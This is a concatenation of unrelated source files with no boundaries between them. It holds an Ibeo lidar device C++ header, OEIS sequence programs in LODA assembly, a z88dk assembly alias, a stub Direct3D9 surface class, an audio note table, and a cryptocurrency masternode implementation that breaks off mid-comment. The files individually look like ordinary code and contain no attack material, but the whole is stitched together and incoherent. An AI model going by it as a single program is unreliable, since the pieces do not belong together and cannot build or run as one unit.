//====================================================================== /*! \file IbeoEthDevice.hpp * * \copydoc Copyright * \author Yannic Wilkening (YW) * \date July 20, 2017 *///------------------------------------------------------------------- #ifndef SRC_IBEOSDK_DEVICES_IBEOETHDEVICE_HPP_SEEN #define SRC_IBEOSDK_DEVICES_IBEOETHDEVICE_HPP_SEEN //====================================================================== #include <ibeosdk/misc/WinCompatibility.hpp> #include <ibeosdk/devices/IbeoEthDevice.hpp> #include <ibeosdk/devices/sutp/IbeoSutpInterface.hpp> #include <ibeosdk/devices/ThreadEnsemble.hpp> #include <ibeosdk/devices/IbeoEthType.hpp> #include <boost/asio.hpp> #include <boost/optional.hpp> //====================================================================== namespace ibeosdk { //====================================================================== /*!\class IbeoEthDevice * \brief Base class for all Ibeo devices connected via TCP/IP or UDP. * \author Yannic Wilkening (YW) * \version 0.1 * \date July 20, 2017 *///------------------------------------------------------------------- class IbeoEthDevice : public IbeoDeviceBase { public: typedef boost::shared_ptr<boost::asio::ip::udp::socket> UdpSocketPtr; private: enum EthType {EthTcp, EthUdp, EthUdpMulticast}; public: //======================================== /*!\brief Create an IbeoEthDevice (general device class). * * This constructor will create an IbeoEthDevice class object * for devices communicating by network. * * \param[in] ip IP address of the device * to be connected with. * \param[in] port Port number for the device. * \param[in] ethType Protocol type for the connection * with the device defaults to TCP. *///------------------------------------- IbeoEthDevice(const std::string& ip, const unsigned short port, const IbeoTypeEthTcp&); //======================================== /*!\brief Create an IbeoEthDevice (general device class). * * This constructor will create an IbeoEthDevice class object * for devices communicating by network. * * \param[in] ip IP address of the device * to be connected with. * \param[in] port Port number for the device. * \param[in] ethType Protocol type for the connection * with the device defaults to Udp. * \param[in] ifa Address of network interface for the connection * with the device. *///------------------------------------- IbeoEthDevice(const std::string& ip, const unsigned short port, const boost::asio::ip::address_v4 ifa, const IbeoTypeEthUdp&); //======================================== /*!\brief Create an IbeoEthDevice (general device class). * * This constructor will create an IbeoEthDevice class object * for devices communicating by network. * * \param[in] ip IP address of the device * to be connected with. * \param[in] port Port number for the device. * \param[in] ifa Address of network interface for the connection * with the device. * \param[in] ethType Protocol type for the connection * with the device defaults to UdpMulticast. *///------------------------------------- IbeoEthDevice(const std::string& ip, const unsigned short port, const boost::asio::ip::address_v4 ifa, const IbeoTypeEthUdpMulticast&); virtual ~IbeoEthDevice(); private: IbeoEthDevice(const IbeoEthDevice&); // forbidden IbeoEthDevice& operator=(const IbeoEthDevice&); // forbidden public: void receivedDataBlock(const IbeoDataHeader* dh, const char* bodyBuf); //======================================== /*!\brief Establish the connection to the * hardware. * * Starting the receiving thread. *///------------------------------------- virtual void getConnected(); //======================================== /*!\brief Disconnect the TCP/IP connection * to the hardware device. *///------------------------------------- virtual void disconnect(); //======================================== /*!\brief Checks whether the TCP/IP connection * to the hardware device is there and * the receiving thread is still running. * \return \c true if messages from the hardware * can still be received. \c false otherwise. *///------------------------------------- bool isConnected(); //======================================== /*!\brief Send a command which expects no reply. * \param[in] cmd Command to be sent. * \return The result of the operation. * \sa ErrorCode *///------------------------------------- statuscodes::Codes sendCommand(const CommandBase& cmd); //======================================== /*!\brief Send a command and wait for a reply. * * The command will be sent. The calling thread * will sleep until a reply has been received * but not longer than the number of milliseconds * given in \a timeOut. * * \param[in] cmd Command to be sent. * \param[in, out] reply The reply container for * the reply to be stored into. * \param[in] timeOut Number of milliseconds to * wait for a reply. * \return The result of the operation. * \sa ErrorCode *///------------------------------------- statuscodes::Codes sendCommand(const CommandBase& cmd, CommandReplyBase& reply, const boost::posix_time::time_duration timeOut = boost::posix_time::milliseconds(500)); protected: //======================================== /*!\brief TCP/IP address of the device as string. *///------------------------------------- std::string m_strIP; //======================================== /*!\brief Port number of the device. *///------------------------------------- unsigned short m_port; boost::asio::ip::address_v4 m_ifa; Mutex m_mutex; ThreadState m_threadState; ThreadEnsemble* m_receiveThread; EthType m_ethType; }; // IbeoEthDevice //====================================================================== }// namespace ibeosdk //====================================================================== #endif // SRC_IBEOSDK_DEVICES_IBEOETHDEVICE_HPP_SEEN //======================================================================
; A163733: Number of n X 2 binary arrays with all 1's connected, all corners 1, and no 1 having more than two 1's adjacent. ; 1,1,2,2,4,6,10,16,26,42,68,110,178,288,466,754,1220,1974,3194,5168,8362,13530,21892,35422,57314,92736,150050,242786,392836,635622,1028458,1664080,2692538,4356618,7049156,11405774,18454930,29860704,48315634,78176338,126491972,204668310,331160282,535828592,866988874,1402817466,2269806340,3672623806,5942430146,9615053952,15557484098,25172538050,40730022148,65902560198,106632582346,172535142544,279167724890,451702867434,730870592324,1182573459758,1913444052082,3096017511840,5009461563922,8105479075762,13114940639684,21220419715446,34335360355130,55555780070576,89891140425706,145446920496282,235338060921988,380784981418270,616123042340258,996908023758528,1613031066098786,2609939089857314,4222970155956100,6832909245813414,11055879401769514,17888788647582928,28944668049352442,46833456696935370,75778124746287812,122611581443223182,198389706189510994,321001287632734176,519390993822245170,840392281454979346,1359783275277224516,2200175556732203862,3559958832009428378,5760134388741632240,9320093220751060618,15080227609492692858,24400320830243753476,39480548439736446334,63880869269980199810,103361417709716646144,167242286979696845954,270603704689413492098 trn $0,1 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. mul $0,2 trn $0,1 add $0,1
; void *tshr_saddrpup(void *saddr) SECTION code_clib SECTION code_arch PUBLIC _tshr_saddrpup EXTERN _zx_saddrpup defc _tshr_saddrpup = _zx_saddrpup
#include "stdafx.h" #include "IDirect3DSurface9.h" #include "xrD3D9-Null_OutProc.h" #ifdef _DEBUG #include "crtdbg.h" #endif const GUID DECLSPEC_SELECTANY IID_IDirect3DSurface9; xrIDirect3DSurface9::xrIDirect3DSurface9 (IDirect3DDevice9* pIDirect3DDevice9, UINT iWidth,UINT iHeight,D3DFORMAT iFormat,D3DMULTISAMPLE_TYPE iMultiSample,DWORD iMultisampleQuality) : Width(iWidth), Height(iHeight),Format(iFormat),MultiSampleType(iMultiSample),MultiSampleQuality(iMultisampleQuality),m_refCount(0) { APIDEBUG("xrIDirect3DSurface9::xrIDirect3DSurface9"); m_pIDirect3DDevice9 = pIDirect3DDevice9; //----------------------------------------------- Name = NULL; Usage = 0; Pool = D3DPOOL(0); MultiSampleQuality = 0; Priority = 0; LockCount = 0; DCCount = 0; CreationCallStack = NULL; //----------------------------------------------- m_pLockedData = NULL; }; /*** IUnknown methods ***/ HRESULT xrIDirect3DSurface9::QueryInterface( REFIID riid, void** ppvObj) { APIDEBUG("xrIDirect3DSurface9::QueryInterface"); if (riid == IID_IUnknown || riid == IID_IDirect3DSurface9) { *ppvObj = this; AddRef(); return HRESULT_Proc(NOERROR); } return HRESULT_Proc(E_NOINTERFACE); } ULONG xrIDirect3DSurface9::AddRef() { APIDEBUG("xrIDirect3DSurface9::AddRef"); m_refCount++; return ULONG_Proc(m_refCount); } ULONG xrIDirect3DSurface9::Release() { APIDEBUG("xrIDirect3DSurface9::Release"); m_refCount--; if (m_refCount < 0) { delete this; return ULONG_Proc(-1); } return ULONG_Proc(m_refCount); } /*** IDirect3DResource9 methods ***/ HRESULT xrIDirect3DSurface9::GetDevice ( IDirect3DDevice9** ppDevice) { APIDEBUG("xrIDirect3DSurface9::GetDevice"); m_pIDirect3DDevice9->AddRef(); *ppDevice = m_pIDirect3DDevice9; return HRESULT_Proc(S_OK); }; HRESULT xrIDirect3DSurface9::SetPrivateData ( REFGUID refguid,CONST void* pData,DWORD SizeOfData,DWORD Flags) {APIDEBUG("xrIDirect3DSurface9::SetPrivateData");return HRESULT_Proc(S_OK);}; HRESULT xrIDirect3DSurface9::GetPrivateData ( REFGUID refguid,void* pData,DWORD* pSizeOfData) {APIDEBUG("xrIDirect3DSurface9::GetPrivateData");return HRESULT_Proc(S_OK);}; HRESULT xrIDirect3DSurface9::FreePrivateData( REFGUID refguid) {APIDEBUG("xrIDirect3DSurface9::FreePrivateData");return HRESULT_Proc(S_OK);}; DWORD xrIDirect3DSurface9::SetPriority ( DWORD PriorityNew) {APIDEBUG("xrIDirect3DSurface9::SetPriority"); DWORD old = Priority; Priority = PriorityNew; return DWORD_Proc(old);}; DWORD xrIDirect3DSurface9::GetPriority () {APIDEBUG("xrIDirect3DSurface9::GetPriority");return DWORD_Proc(Priority);}; void xrIDirect3DSurface9::PreLoad () {APIDEBUG("xrIDirect3DSurface9::PreLoad"); VOID_proc();}; D3DRESOURCETYPE xrIDirect3DSurface9::GetType () {APIDEBUG("xrIDirect3DSurface9::GetType");return D3DRESOURCETYPE(0);}; HRESULT xrIDirect3DSurface9::GetContainer ( REFIID riid,void** ppContainer) {APIDEBUG("xrIDirect3DSurface9::GetContainer");return HRESULT_Proc(S_OK);}; HRESULT xrIDirect3DSurface9::GetDesc ( D3DSURFACE_DESC *pDesc) { APIDEBUG("xrIDirect3DSurface9::GetDesc"); pDesc->Format = Format; pDesc->Type = D3DRTYPE_SURFACE; pDesc->Usage = Usage; pDesc->Pool = Pool; pDesc->MultiSampleType = MultiSampleType; pDesc->MultiSampleQuality = MultiSampleQuality; pDesc->Width = Width; pDesc->Height = Height; return HRESULT_Proc(S_OK); }; HRESULT xrIDirect3DSurface9::LockRect ( D3DLOCKED_RECT* pLockedRect,CONST RECT* pRect,DWORD Flags) { APIDEBUG("xrIDirect3DSurface9::LockRect"); #ifdef _DEBUG if (m_pLockedData != NULL) { _ASSERT(0); } #endif UINT RWidth = (NULL == pRect) ? Width : (pRect->right - pRect->left); UINT RHeight = (NULL == pRect) ? Height : (pRect->bottom - pRect->top); m_pLockedData = new BYTE[RWidth*RHeight*4]; pLockedRect->Pitch = 4; pLockedRect->pBits = m_pLockedData; return HRESULT_Proc(S_OK); }; HRESULT xrIDirect3DSurface9::UnlockRect () { APIDEBUG("xrIDirect3DSurface9::UnlockRect"); #ifdef _DEBUG if (m_pLockedData == NULL) { _ASSERT(0); } #endif delete[] m_pLockedData; m_pLockedData = NULL; return HRESULT_Proc(S_OK); }; HRESULT xrIDirect3DSurface9::GetDC ( HDC *phdc) {APIDEBUG("xrIDirect3DSurface9::GetDC");return HRESULT_Proc(S_OK);}; HRESULT xrIDirect3DSurface9::ReleaseDC ( HDC hdc) {APIDEBUG("xrIDirect3DSurface9::ReleaseDC");return HRESULT_Proc(S_OK);};
; This file is INCLUDEd three times, once in each audio engine. table_width 2 dw $F82C ; C_ dw $F89D ; C# dw $F907 ; D_ dw $F96B ; D# dw $F9CA ; E_ dw $FA23 ; F_ dw $FA77 ; F# dw $FAC7 ; G_ dw $FB12 ; G# dw $FB58 ; A_ dw $FB9B ; A# dw $FBDA ; B_ assert_table_length NUM_NOTES
; A247112: Floor of sums of the cubes of the non-integer square roots of n, as partitioned by the integer roots: floor( sum( j from n^2+1 to (n+1)^2-1, j^(3/2) ) ). ; 0,8,67,267,746,1690,3333,5957,9892,15516,23255,33583,47022,64142,85561,111945,144008,182512,228267,282131,345010,417858,501677,597517,706476,829700,968383,1123767,1297142,1489846,1703265,1938833,2198032,2482392,2793491 mov $1,$0 mov $2,$0 mov $3,$0 lpb $0,1 sub $0,1 add $2,1 add $1,$2 add $2,2 lpe mov $4,$3 mov $6,$3 lpb $6,1 add $5,$4 sub $6,1 lpe mov $4,$5 mov $5,0 mov $6,$3 lpb $6,1 add $5,$4 sub $6,1 lpe mov $4,$5 mov $7,3 lpb $7,1 add $1,$4 sub $7,1 lpe mov $5,0 mov $6,$3 lpb $6,1 add $5,$4 sub $6,1 lpe mov $4,$5 mov $7,2 lpb $7,1 add $1,$4 sub $7,1 lpe
// Copyright (c) 2014-2015 The Dash developers // Copyright (c) 2015-2018 The ATEC developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "masternode.h" #include "addrman.h" #include "masternodeman.h" #include "obfuscation.h" #include "sync.h" #include "util.h" #include <boost/lexical_cast.hpp> // keep track of the scanning errors I've seen map<uint256, int> mapSeenMasternodeScanningErrors; // cache block hashes as we calculate them std::map<int64_t, uint256> mapCacheBlockHashes; //Get the last hash that matches the modulus given. Processed in reverse order bool GetBlockHash(uint256& hash, int nBlockHeight) { if (chainActive.Tip() == NULL) return false; if (nBlockHeight == 0) nBlockHeight = chainActive.Tip()->nHeight; if (mapCacheBlockHashes.count(nBlockHeight)) { hash = mapCacheBlockHashes[nBlockHeight]; return true; } const CBlockIndex* BlockLastSolved = chainActive.Tip(); const CBlockIndex* BlockReading = chainActive.Tip(); if (BlockLastSolved == NULL || BlockLastSolved->nHeight == 0 || chainActive.Tip()->nHeight + 1 < nBlockHeight) return false; int nBlocksAgo = 0; if (nBlockHeight > 0) nBlocksAgo = (chainActive.Tip()->nHeight + 1) - nBlockHeight; assert(nBlocksAgo >= 0); int n = 0; for (unsigned int i = 1; BlockReading && BlockReading->nHeight > 0; i++) { if (n >= nBlocksAgo) { hash = BlockReading->GetBlockHash(); mapCacheBlockHashes[nBlockHeight] = hash; return true; } n++; if (BlockReading->pprev == NULL) { assert(BlockReading); break; } BlockReading = BlockReading->pprev; } return false; } CMasternode::CMasternode() { LOCK(cs); vin = CTxIn(); addr = CService(); pubKeyCollateralAddress = CPubKey(); pubKeyMasternode = CPubKey(); sig = std::vector<unsigned char>(); activeState = MASTERNODE_ENABLED; sigTime = GetAdjustedTime(); lastPing = CMasternodePing(); cacheInputAge = 0; cacheInputAgeBlock = 0; unitTest = false; allowFreeTx = true; nActiveState = MASTERNODE_ENABLED, protocolVersion = PROTOCOL_VERSION; nLastDsq = 0; nScanningErrorCount = 0; nLastScanningErrorBlockHeight = 0; lastTimeChecked = 0; nLastDsee = 0; // temporary, do not save. Remove after migration to v12 nLastDseep = 0; // temporary, do not save. Remove after migration to v12 } CMasternode::CMasternode(const CMasternode& other) { LOCK(cs); vin = other.vin; addr = other.addr; pubKeyCollateralAddress = other.pubKeyCollateralAddress; pubKeyMasternode = other.pubKeyMasternode; sig = other.sig; activeState = other.activeState; sigTime = other.sigTime; lastPing = other.lastPing; cacheInputAge = other.cacheInputAge; cacheInputAgeBlock = other.cacheInputAgeBlock; unitTest = other.unitTest; allowFreeTx = other.allowFreeTx; nActiveState = MASTERNODE_ENABLED, protocolVersion = other.protocolVersion; nLastDsq = other.nLastDsq; nScanningErrorCount = other.nScanningErrorCount; nLastScanningErrorBlockHeight = other.nLastScanningErrorBlockHeight; lastTimeChecked = 0; nLastDsee = other.nLastDsee; // temporary, do not save. Remove after migration to v12 nLastDseep = other.nLastDseep; // temporary, do not save. Remove after migration to v12 } CMasternode::CMasternode(const CMasternodeBroadcast& mnb) { LOCK(cs); vin = mnb.vin; addr = mnb.addr; pubKeyCollateralAddress = mnb.pubKeyCollateralAddress; pubKeyMasternode = mnb.pubKeyMasternode; sig = mnb.sig; activeState = MASTERNODE_ENABLED; sigTime = mnb.sigTime; lastPing = mnb.lastPing; cacheInputAge = 0; cacheInputAgeBlock = 0; unitTest = false; allowFreeTx = true; nActiveState = MASTERNODE_ENABLED, protocolVersion = mnb.protocolVersion; nLastDsq = mnb.nLastDsq; nScanningErrorCount = 0; nLastScanningErrorBlockHeight = 0; lastTimeChecked = 0; nLastDsee = 0; // temporary, do not save. Remove after migration to v12 nLastDseep = 0; // temporary, do not save. Remove after migration to v12 } // // When a new masternode broadcast is sent, update our information // bool CMasternode::UpdateFromNewBroadcast(CMasternodeBroadcast& mnb) { if (mnb.sigTime > sigTime) { pubKeyMasternode = mnb.pubKeyMasternode; pubKeyCollateralAddress = mnb.pubKeyCollateralAddress; sigTime = mnb.sigTime; sig = mnb.sig; protocolVersion = mnb.protocolVersion; addr = mnb.addr; lastTimeChecked = 0; int nDoS = 0; if (mnb.lastPing == CMasternodePing() || (mnb.lastPing != CMasternodePing() && mnb.lastPing.CheckAndUpdate(nDoS, false))) { lastPing = mnb.lastPing; mnodeman.mapSeenMasternodePing.insert(make_pair(lastPing.GetHash(), lastPing)); } return true; } return false; } // // Deterministically calculate a given "score" for a Masternode depending on how close it's hash is to // the proof of work for that block. The further away they are the better, the furthest will win the election // and get paid this block // uint256 CMasternode::CalculateScore(int mod, int64_t nBlockHeight) { if (chainActive.Tip() == NULL) return 0; uint256 hash = 0; uint256 aux = vin.prevout.hash + vin.prevout.n; if (!GetBlockHash(hash, nBlockHeight)) { LogPrint("masternode","CalculateScore ERROR - nHeight %d - Returned 0\n", nBlockHeight); return 0; } CHashWriter ss(SER_GETHASH, PROTOCOL_VERSION); ss << hash; uint256 hash2 = ss.GetHash(); CHashWriter ss2(SER_GETHASH, PROTOCOL_VERSION); ss2 << hash; ss2 << aux; uint256 hash3 = ss2.GetHash(); uint256 r = (hash3 > hash2 ? hash3 - hash2 : hash2 - hash3); return r; } void CMasternode::Check(bool forceCheck) { if (ShutdownRequested()) return; if (!forceCheck && (GetTime() - lastTimeChecked < MASTERNODE_CHECK_SECONDS)) return; lastTimeChecked = GetTime(); //once spent, stop doing the checks if (activeState == MASTERNODE_VIN_SPENT) return; if (!IsPingedWithin(MASTERNODE_REMOVAL_SECONDS)) { activeState = MASTERNODE_REMOVE; return; } if (!IsPingedWithin(MASTERNODE_EXPIRATION_SECONDS)) { activeState = MASTERNODE_EXPIRED; return; } if(lastPing.sigTime - sigTime < MASTERNODE_MIN_MNP_SECONDS){ activeState = MASTERNODE_PRE_ENABLED; return; } if (!unitTest) { CValidationState state; CMutableTransaction tx = CMutableTransaction(); CTxOut vout = CTxOut(9999.99 * COIN, obfuScationPool.collateralPubKey); tx.vin.push_back(vin); tx.vout.push_back(vout); { TRY_LOCK(cs_main, lockMain); if (!lockMain) return; if (!AcceptableInputs(mempool, state, CTransaction(tx), false, NULL)) { activeState = MASTERNODE_VIN_SPENT; return; } } } activeState = MASTERNODE_ENABLED; // OK } int64_t CMasternode::SecondsSincePayment() { CScript pubkeyScript; pubkeyScript = GetScriptForDestination(pubKeyCollateralAddress.GetID()); int64_t sec = (GetAdjustedTime() - GetLastPaid()); int64_t month = 60 * 60 * 24 * 30; if (sec < month) return sec; //if it's less than 30 days, give seconds CHashWriter ss(SER_GETHASH, PROTOCOL_VERSION); ss << vin; ss << sigTime; uint256 hash = ss.GetHash(); // return some deterministic value for unknown/unpaid but force it to be more than 30 days old return month + hash.GetCompact(false); } int64_t CMasternode::GetLastPaid() { CBlockIndex* pindexPrev = chainActive.Tip(); if (pindexPrev == NULL) return false; CScript mnpayee; mnpayee = GetScriptForDestination(pubKeyCollateralAddress.GetID()); CHashWriter ss(SER_GETHASH, PROTOCOL_VERSION); ss << vin; ss << sigTime; uint256 hash = ss.GetHash(); // use a deterministic offset to break a tie -- 2.5 minutes int64_t nOffset = hash.GetCompact(false) % 150; if (chainActive.Tip() == NULL) return false; const CBlockIndex* BlockReading = chainActive.Tip(); int nMnCount = mnodeman.CountEnabled() * 1.25; int n = 0; for (unsigned int i = 1; BlockReading && BlockReading->nHeight > 0; i++) { if (n >= nMnCount) { return 0; } n++; if (masternodePayments.mapMasternodeBlocks.count(BlockReading->nHeight)) { /* Search for this payee, with at least 2 votes. This will aid in consensus allowing the network to converge on the same payees quickly, then keep the same schedule. */ if (masternodePayments.mapMasternodeBlocks[BlockReading->nHeight].HasPayeeWithVotes(mnpayee, 2)) { return BlockReading->nTime + nOffset; } } if (BlockReading->pprev == NULL) { assert(BlockReading); break; } BlockReading = BlockReading->pprev; } return 0; } std::string CMasternode::GetStatus() { switch (nActiveState) { case CMasternode::MASTERNODE_PRE_ENABLED: return "PRE_ENABLED"; case CMasternode::MASTERNODE_ENABLED: return "ENABLED"; case CMasternode::MASTERNODE_EXPIRED: return "EXPIRED"; case CMasternode::MASTERNODE_OUTPOINT_SPENT: return "OUTPOINT_SPENT"; case CMasternode::MASTERNODE_REMOVE: return "REMOVE"; case CMasternode::MASTERNODE_WATCHDOG_EXPIRED: return "WATCHDOG_EXPIRED"; case CMasternode::MASTERNODE_POSE_BAN: return "POSE_BAN"; default: return "UNKNOWN"; } } bool CMasternode::IsValidNetAddr() { // TODO: regtest is fine with any addresses for now, // should probably be a bit smarter if one day we start to implement tests for this return Params().NetworkID() == CBaseChainParams::REGTEST || (IsReachable(addr) && addr.IsRoutable()); } CMasternodeBroadcast::CMasternodeBroadcast() { vin = CTxIn(); addr = CService(); pubKeyCollateralAddress = CPubKey(); pubKeyMasternode1 = CPubKey(); sig = std::vector<unsigned char>(); activeState = MASTERNODE_ENABLED; sigTime = GetAdjustedTime(); lastPing = CMasternodePing(); cacheInputAge = 0; cacheInputAgeBlock = 0; unitTest = false; allowFreeTx = true; protocolVersion = PROTOCOL_VERSION; nLastDsq = 0; nScanningErrorCount = 0; nLastScanningErrorBlockHeight = 0; } CMasternodeBroadcast::CMasternodeBroadcast(CService newAddr, CTxIn newVin, CPubKey pubKeyCollateralAddressNew, CPubKey pubKeyMasternodeNew, int protocolVersionIn) { vin = newVin; addr = newAddr; pubKeyCollateralAddress = pubKeyCollateralAddressNew; pubKeyMasternode = pubKeyMasternodeNew; sig = std::vector<unsigned char>(); activeState = MASTERNODE_ENABLED; sigTime = GetAdjustedTime(); lastPing = CMasternodePing(); cacheInputAge = 0; cacheInputAgeBlock = 0; unitTest = false; allowFreeTx = true; protocolVersion = protocolVersionIn; nLastDsq = 0; nScanningErrorCount = 0; nLastScanningErrorBlockHeight = 0; } CMasternodeBroadcast::CMasternodeBroadcast(const CMasternode& mn) { vin = mn.vin; addr = mn.addr; pubKeyCollateralAddress = mn.pubKeyCollateralAddress; pubKeyMasternode = mn.pubKeyMasternode; sig = mn.sig; activeState = mn.activeState; sigTime = mn.sigTime; lastPing = mn.lastPing; cacheInputAge = mn.cacheInputAge; cacheInputAgeBlock = mn.cacheInputAgeBlock; unitTest = mn.unitTest; allowFreeTx = mn.allowFreeTx; protocolVersion = mn.protocolVersion; nLastDsq = mn.nLastDsq; nScanningErrorCount = mn.nScanningErrorCount; nLastScanningErrorBlockHeight = mn.nLastScanningErrorBlockHeight; } bool CMasternodeBroadcast::Create(std::string strService, std::string strKeyMasternode, std::string strTxHash, std::string strOutputIndex, std::string& strErrorRet, CMasternodeBroadcast& mnbRet, bool fOffline) { CTxIn txin; CPubKey pubKeyCollateralAddressNew; CKey keyCollateralAddressNew; CPubKey pubKeyMasternodeNew; CKey keyMasternodeNew; //need correct blocks to send ping if (!fOffline && !masternodeSync.IsBlockchainSynced()) { strErrorRet = "Sync in progress. Must wait until sync is complete to start Masternode"; LogPrint("masternode","CMasternodeBroadcast::Create -- %s\n", strErrorRet); return false; } if (!obfuScationSigner.GetKeysFromSecret(strKeyMasternode, keyMasternodeNew, pubKeyMasternodeNew)) { strErrorRet = strprintf("Invalid masternode key %s", strKeyMasternode); LogPrint("masternode","CMasternodeBroadcast::Create -- %s\n", strErrorRet); return false; } if (!pwalletMain->GetMasternodeVinAndKeys(txin, pubKeyCollateralAddressNew, keyCollateralAddressNew, strTxHash, strOutputIndex)) { strErrorRet = strprintf("Could not allocate txin %s:%s for masternode %s", strTxHash, strOutputIndex, strService); LogPrint("masternode","CMasternodeBroadcast::Create -- %s\n", strErrorRet); return false; } // The service needs the correct default port to work properly if(!CheckDefaultPort(strService, strErrorRet, "CMasternodeBroadcast::Create")) return false; return Create(txin, CService(strService), keyCollateralAddressNew, pubKeyCollateralAddressNew, keyMasternodeNew, pubKeyMasternodeNew, strErrorRet, mnbRet); } bool CMasternodeBroadcast::Create(CTxIn txin, CService service, CKey keyCollateralAddressNew, CPubKey pubKeyCollateralAddressNew, CKey keyMasternodeNew, CPubKey pubKeyMasternodeNew, std::string& strErrorRet, CMasternodeBroadcast& mnbRet) { // wait for reindex and/or import to finish if (fImporting || fReindex) return false; LogPrint("masternode", "CMasternodeBroadcast::Create -- pubKeyCollateralAddressNew = %s, pubKeyMasternodeNew.GetID() = %s\n", CBitcoinAddress(pubKeyCollateralAddressNew.GetID()).ToString(), pubKeyMasternodeNew.GetID().ToString()); CMasternodePing mnp(txin); if (!mnp.Sign(keyMasternodeNew, pubKeyMasternodeNew)) { strErrorRet = strprintf("Failed to sign ping, masternode=%s", txin.prevout.hash.ToString()); LogPrint("masternode","CMasternodeBroadcast::Create -- %s\n", strErrorRet); mnbRet = CMasternodeBroadcast(); return false; } mnbRet = CMasternodeBroadcast(service, txin, pubKeyCollateralAddressNew, pubKeyMasternodeNew, PROTOCOL_VERSION); if (!mnbRet.IsValidNetAddr()) { strErrorRet = strprintf("Invalid IP address %s, masternode=%s", mnbRet.addr.ToStringIP (), txin.prevout.hash.ToString()); LogPrint("masternode","CMasternodeBroadcast::Create -- %s\n", strErrorRet); mnbRet = CMasternodeBroadcast(); return false; } mnbRet.lastPing = mnp; if (!mnbRet.Sign(keyCollateralAddressNew)) { strErrorRet = strprintf("Failed to sign broadcast, masternode=%s", txin.prevout.hash.ToString()); LogPrint("masternode","CMasternodeBroadcast::Create -- %s\n", strErrorRet); mnbRet = CMasternodeBroadcast(); return false; } return true; } bool CMasternodeBroadcast::CheckDefaultPort(std::string strService, std::string& strErrorRet, std::string strContext) { CService service = CService(strService); int nDefaultPort = Params().GetDefaultPort(); if (service.GetPort() != nDefaultPort) { strErrorRet = strprintf("Invalid port %u for masternode %s, only %d is supported on %s-net.", service.GetPort(), strService, nDefaultPort, Params().NetworkIDString()); LogPrint("masternode", "%s - %s\n", strContext, strErrorRet); return false; } return true; } bool CMasternodeBroadcast::CheckAndUpdate(int& nDos) { // make sure signature isn't in the future (past is OK) if (sigTime > GetAdjustedTime() + 60 * 60) { LogPrint("masternode","mnb - Signature rejected, too far into the future %s\n", vin.prevout.hash.ToString()); nDos = 1; return false; } // incorrect ping or its sigTime if(lastPing == CMasternodePing() || !lastPing.CheckAndUpdate(nDos, false, true)) return false; if (protocolVersion < masternodePayments.GetMinMasternodePaymentsProto()) { LogPrint("masternode","mnb - ignoring outdated Masternode %s protocol version %d\n", vin.prevout.hash.ToString(), protocolVersion); return false; } CScript pubkeyScript; pubkeyScript = GetScriptForDestination(pubKeyCollateralAddress.GetID()); if (pubkeyScript.size() != 25) { LogPrint("masternode","mnb - pubkey the wrong size\n"); nDos = 100; return false; } CScript pubkeyScript2; pubkeyScript2 = GetScriptForDestination(pubKeyMasternode.GetID()); if (pubkeyScript2.size() != 25) { LogPrint("masternode","mnb - pubkey2 the wrong size\n"); nDos = 100; return false; } if (!vin.scriptSig.empty()) { LogPrint("masternode","mnb - Ignore Not Empty ScriptSig %s\n", vin.prevout.hash.ToString()); return false; } std::string errorMessage = ""; if (!obfuScationSigner.VerifyMessage(pubKeyCollateralAddress, sig, GetNewStrMessage(), errorMessage) && !obfuScationSigner.VerifyMessage(pubKeyCollateralAddress, sig, GetOldStrMessage(), errorMessage)) { // don't ban for old masternodes, their sigs could be broken because of the bug nDos = protocolVersion < MIN_PEER_MNANNOUNCE ? 0 : 100; return error("CMasternodeBroadcast::CheckAndUpdate - Got bad Masternode address signature : %s", errorMessage); } if (Params().NetworkID() == CBaseChainParams::MAIN) { if (addr.GetPort() != 42472) return false; } else if (addr.GetPort() == 42472) return false; //search existing Masternode list, this is where we update existing Masternodes with new mnb broadcasts CMasternode* pmn = mnodeman.Find(vin); // no such masternode, nothing to update if (pmn == NULL) return true; // this broadcast is older or equal than the one that we already have - it's bad and should never happen // unless someone is doing something fishy // (mapSeenMasternodeBroadcast in CMasternodeMan::ProcessMessage should filter legit duplicates) if(pmn->sigTime >= sigTime) { return error("CMasternodeBroadcast::CheckAndUpdate - Bad sigTime %d for Masternode %20s %105s (existing broadcast is at %d)", sigTime, addr.ToString(), vin.ToString(), pmn->sigTime); } // masternode is not enabled yet/already, nothing to update if (!pmn->IsEnabled()) return true; // mn.pubkey = pubkey, IsVinAssociatedWithPubkey is validated once below, // after that they just need to match if (pmn->pubKeyCollateralAddress == pubKeyCollateralAddress && !pmn->IsBroadcastedWithin(MASTERNODE_MIN_MNB_SECONDS)) { //take the newest entry LogPrint("masternode","mnb - Got updated entry for %s\n", vin.prevout.hash.ToString()); if (pmn->UpdateFromNewBroadcast((*this))) { pmn->Check(); if (pmn->IsEnabled()) Relay(); } masternodeSync.AddedMasternodeList(GetHash()); } return true; } bool CMasternodeBroadcast::CheckInputsAndAdd(int& nDoS) { // we are a masternode with the same vin (i.e. already activated) and this mnb is ours (matches our Masternode privkey) // so nothing to do here for us if (fMasterNode && vin.prevout == activeMasternode.vin.prevout && pubKeyMasternode == activeMasternode.pubKeyMasternode) return true; // incorrect ping or its sigTime if(lastPing == CMasternodePing() || !lastPing.CheckAndUpdate(nDoS, false, true)) return false; // search existing Masternode list CMasternode* pmn = mnodeman.Find(vin); if (pmn != NULL) { // nothing to do here if we already know about this masternode and it's enabled if (pmn->IsEnabled()) return true; // if it's not enabled, remove old MN first and continue else mnodeman.Remove(pmn->vin); } CValidationState state; CMutableTransaction tx = CMutableTransaction(); CTxOut vout = CTxOut(9999.99 * COIN, obfuScationPool.collateralPubKey); tx.vin.push_back(vin); tx.vout.push_back(vout); { TRY_LOCK(cs_main, lockMain); if (!lockMain) { // not mnb fault, let it to be checked again later mnodeman.mapSeenMasternodeBroadcast.erase(GetHash()); masternodeSync.mapSeenSyncMNB.erase(GetHash()); return false; } if (!AcceptableInputs(mempool, state, CTransaction(tx), false, NULL)) { //set nDos state.IsInvalid(nDoS); return false; } } LogPrint("masternode", "mnb - Accepted Masternode entry\n"); if (GetInputAge(vin) < MASTERNODE_MIN_CONFIRMATIONS) { LogPrint("masternode","mnb - Input must have at least %d confirmations\n", MASTERNODE_MIN_CONFIRMATIONS); // maybe we miss few blocks, let this mnb to be checked again later mnodeman.mapSeenMasternodeBroadcast.erase(GetHash()); masternodeSync.mapSeenSyncMNB.erase(GetHash()); return false; } // verify that sig time is legit in past // should be at least not earlier than block when 1000 ATC tx got MASTERNODE_MIN_CONFIRMATIONS 